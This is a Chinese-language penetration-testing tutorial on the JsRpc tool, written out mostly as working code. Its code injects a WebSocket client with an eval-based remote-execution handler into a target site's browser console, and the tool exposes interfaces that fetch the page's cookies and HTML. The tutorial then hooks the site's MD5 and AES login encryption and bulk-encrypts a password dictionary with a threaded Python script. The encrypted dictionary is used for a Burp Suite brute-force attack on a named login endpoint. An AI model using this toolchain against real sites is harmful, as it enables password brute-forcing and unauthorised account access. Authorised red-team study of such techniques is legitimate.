【JSrpc破解前端加密问题】
目录
一、背景
二、项目介绍
三、JSrpc 处理前端加密步骤
一、背景
解决日常渗透测试、红蓝对抗中的前端密码加密问题,让你的爆破更加丝滑;降低js逆向加密的难度,降低前端加密逻辑分析工作量和难度。
二、项目介绍
运行服务器程序和js脚本 即可让它们通信,实现调用接口执行js获取想要的值;
实现原理:在网站的控制台新建一个WebScoket客户端链接到服务器通信,调用服务器的接口 服务器会发送信息给客户端 客户端接收到要执行的方法执行完js代码后把获得想要的内容发回给服务器 服务器接收到后再显示出来。具体项目地址和食用细节参考:https://github.com/jxhczhl/JsRpc
三、JSrpc 处理前端加密步骤
第一步 构建RPC通信环境
浏览器中访问目标网站,注入rpc服务端代码到浏览器中:
服务端代码如下:
function Hlclient(wsURL) {
this.wsURL = wsURL;
this.handlers = {
_execjs: function (resolve, param) {
var res = eval(param)
if (!res) {
resolve("没有返回值")
} else {
resolve(res)
}
}
};
this.socket = undefined;
if (!wsURL) {
throw new Error('wsURL can not be empty!!')
}
this.connect()
}
Hlclient.prototype.connect = function () {
console.log('begin of connect to wsURL: ' + this.wsURL);
var _this = this;
try {
this.socket = new WebSocket(this.wsURL);
this.socket.onmessage = function (e) {
_this.handlerRequest(e.data)
}
} catch (e) {
console.log("connection failed,reconnect after 10s");
setTimeout(function () {
_this.connect()
}, 10000)
}
this.socket.onclose = function () {
console.log('rpc已关闭');
setTimeout(function () {
_this.connect()
}, 10000)
}
this.socket.addEventListener('open', (event) => {
console.log("rpc连接成功");
});
this.socket.addEventListener('error', (event) => {
console.error('rpc连接出错,请检查是否打开服务端:', event.error);
});
};
Hlclient.prototype.send = function (msg) {
this.socket.send(msg)
}
Hlclient.prototype.regAction = function (func_name, func) {
if (typeof func_name !== 'string') {
throw new Error("an func_name must be string");
}
if (typeof func !== 'function') {
throw new Error("must be function");
}
console.log("register func_name: " + func_name);
this.handlers[func_name] = func;
return true
}
//收到消息后这里处理,
Hlclient.prototype.handlerRequest = function (requestJson) {
var _this = this;
try {
var result = JSON.parse(requestJson)
} catch (error) {
console.log("catch error", requestJson);
result = transjson(requestJson)
}
//console.log(result)
if (!result['action']) {
this.sendResult('', 'need request param {action}');
return
}
var action = result["action"]
var theHandler = this.handlers[action];
if (!theHandler) {
this.sendResult(action, 'action not found');
return
}
try {
if (!result["param"]) {
theHandler(function (response) {
_this.sendResult(action, response);
})
return
}
var param = result["param"]
try {
param = JSON.parse(param)
} catch (e) {}
theHandler(function (response) {
_this.sendResult(action, response);
}, param)
} catch (e) {
console.log("error: " + e);
_this.sendResult(action, e);
}
}
Hlclient.prototype.sendResult = function (action, e) {
if (typeof e === 'object' && e !== null) {
try {
e = JSON.stringify(e)
} catch (v) {
console.log(v)//不是json无需操作
}
}
this.send(action + atob("aGxeX14") + e);
}
function transjson(formdata) {
var regex = /"action":(?<actionName>.*?),/g
var actionName = regex.exec(formdata).groups.actionName
stringfystring = formdata.match(/{..data..:.*..\w+..:\s...*?..}/g).pop()
stringfystring = stringfystring.replace(/\\"/g, '"')
paramstring = JSON.parse(stringfystring)
tens = `{"action":` + actionName + `,"param":{}}`
tjson = JSON.parse(tens)
tjson.param = paramstring
return tjson
}
如下注入至浏览器中,并连接通信环境
// 注入环境后连接通信
var demo = new Hlclient("ws://127.0.0.1:12080/ws?group=zzz");
// 可选
//var demo = new Hlclient("ws://127.0.0.1:12080/ws?group=zzz&clientId=hliang/"+new Date().getTime())
启动我们的中间监听器,可以看到有上线:
接口调用说明:
/list
:查看当前连接的ws服务 (get)/ws
:浏览器注入ws连接的接口 (ws | wss)/wst
:ws测试使用-发啥回啥 (ws | wss)/go
:获取数据的接口 (get | post)/execjs
:传递jscode给浏览器执行 (get | post)/page/cookie
:直接获取当前页面的cookie (get)/page/html
:获取当前页面的html (get)
尝试调用浏览器ws接口并传入js代码
import requests
js_code = """
(function(){
console.log("test")
return "执行成功"
})()
"""
url = "http://localhost:12080/execjs"
data = {
"group": "zzz",
"code": js_code
}
res = requests.post(url, data=data)
print(res.text)
如下就证明成功实现了rpc通信和接口调用:
第二步处理加密
加密函数寻找:
定位加密函数,抓包分析,加密登录接口位于/api/sys_yonghua/login_web,全局搜索接口login_web
断点分析后,hook插桩函数和方法为:
const processedParam = v()(param);
const encryptedValue = n["default"].prototype.$AesDesHelper.AesOrDes_Encrypt(processedParam);
v()进行md5加密,模块n["default"].prototype.$AesDesHelper中的AesOrDes_Encrypt(l)方法对md5后的值进行加密,加密方法知道之后,接下来就是注册函数方法了。
注册函数方法:
1、浏览器控制台注册无参数方法
// 注册一个方法 第一个参数hello为方法名,
// 第二个参数为函数,resolve里面的值是想要的值(发送到服务器的)
demo.regAction("hello", function (resolve) {
//这样每次调用就会返回“yesyesyesyes+随机整数”
var Js_sjz = "好困啊"+parseInt(Math.random()*1000);
resolve(Js_sjz);
})
无参接口调用:
2、浏览器控制台注册带参数方法
demo.regAction("md5", function (resolve, param) {
// 确保 v() 可以访问并返回一个处理后的值
const processedParam = v()(param);
const encryptedValue = n["default"].prototype.$AesDesHelper.AesOrDes_Encrypt(processedParam);
resolve(encryptedValue);
});
带参param接口调用,即可实现本地浏览器前端加密:
第三步python脚本批量处理
导入密码字典:
python脚本调用接口进行批量处理加密:
import requests
import threading
path = "http://127.0.0.1:12080/go?group=zzz&action=md5¶m="
encrypt_list = []
def GetEncrypt(password):
url = path+'"'+password+'"'
response = requests.get(url=url)
if response.status_code == 200:
encrypt_list.append(response.json()["data"])
print(response.json()["data"])
else:
return {"status": response.status_code, "error": "Request failed"}
def MultProcess():
threads = []
with open("password.txt",'r') as file:
for password in file:
thread = threading.Thread(target=GetEncrypt,args=(password,))
threads.append(thread)
thread.start()
for i in threads:
i.join()
if __name__ == '__main__':
print("开始加密处理")
MultProcess()
with open("after_encrypt.txt",'w') as file:
for i in encrypt_list:
file.write(i.strip()+"\n")
print("加密处理结束")
加密后的字典:
最后配合burpsuite实现爆破: